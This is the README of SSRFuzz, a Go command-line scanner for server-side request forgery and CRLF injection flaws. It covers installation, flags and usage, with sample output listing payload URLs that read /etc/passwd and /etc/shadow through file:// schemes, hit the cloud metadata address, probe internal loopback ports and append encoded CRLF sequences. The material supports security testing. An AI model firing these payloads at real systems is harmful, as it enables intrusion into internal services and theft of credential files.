SSRFuzz is a tool to find Server Side Request Forgery vulnerabilities, with CRLF chaining capabilities
Why SSRFUZZ?
- I wanted to write a tool in Golang for concurrency
- I wanted to fuzz parameters for SSRF vulnerablities, as well as fuzz both paths and parameters for CRLF injections
- I was inspired by Orange’s work for chaining these types of vulnerabilities together (https://blog.orange.tw)
Installation
Run the following command to intsall
go get -u github.com/ryandamour/ssrfuzz
Usage
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===============================================================
SSRFUZZ 1.2
by Ryan D'Amour @ryandamour
===============================================================A scanner for all your SSRF Fuzzing needs
Usage:
ssrfuzz scan [flags]
Flags:
-b, --call-back string Add callback for SSRF fuzzing (ie: https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)
-c, --cookie string Cookie to use for requests
--crlf-path Add CRLF payloads to all available paths (ie: site.com/%0Atest.php)
--delay int The time each threads waits between requests in milliseconds (default 100)
-d, --domains string Location of domains with parameters to scan
-h, --help help for scan
-x, --http-method string HTTP Method - GET or POST (default "GET")
-o, --output string Location to save results
--skip-crlf Skip CRLF fuzzing
--skip-network Skip network fuzzing
--skip-scheme Skip scheme fuzzing
-s, --slack-webhook string Slack webhook to send findings to a channel
-t, --threads int Number of threads to run ssrfuzz on (default 50)
--timeout int The amount of time needed to close a connection that could be hung (default 10)
-u, --user-agent string User agent for requests (default "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
-v, --verbose verbose output
Usage:
echo "http://url_to_fuzz" | ssrfuzz scan
cat file_of_domains.txt | ssrfuzz scan
ssrfuzz scan -d file_of_domains.txt
* Scanning http and scheme payloads w/ crlf:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan
[!] Scheme payload match:
* http://192.168.1.10/test.php?u=file://etc/passwd 200
[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* Scanning only http payloads w/ crlf:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme
[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* Scanning only http payloads w/o crlf:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf
[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
* Scanning only scheme payloads w/o crlf:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf
[!] Interesting payloads found
* http://192.168.1.10/test.php?u=file:///etc/passwd 200
* http://192.168.1.10/test.php?u=file:///etc/shadow 500
* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500
Contributing
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
Please make sure to update tests as appropriate.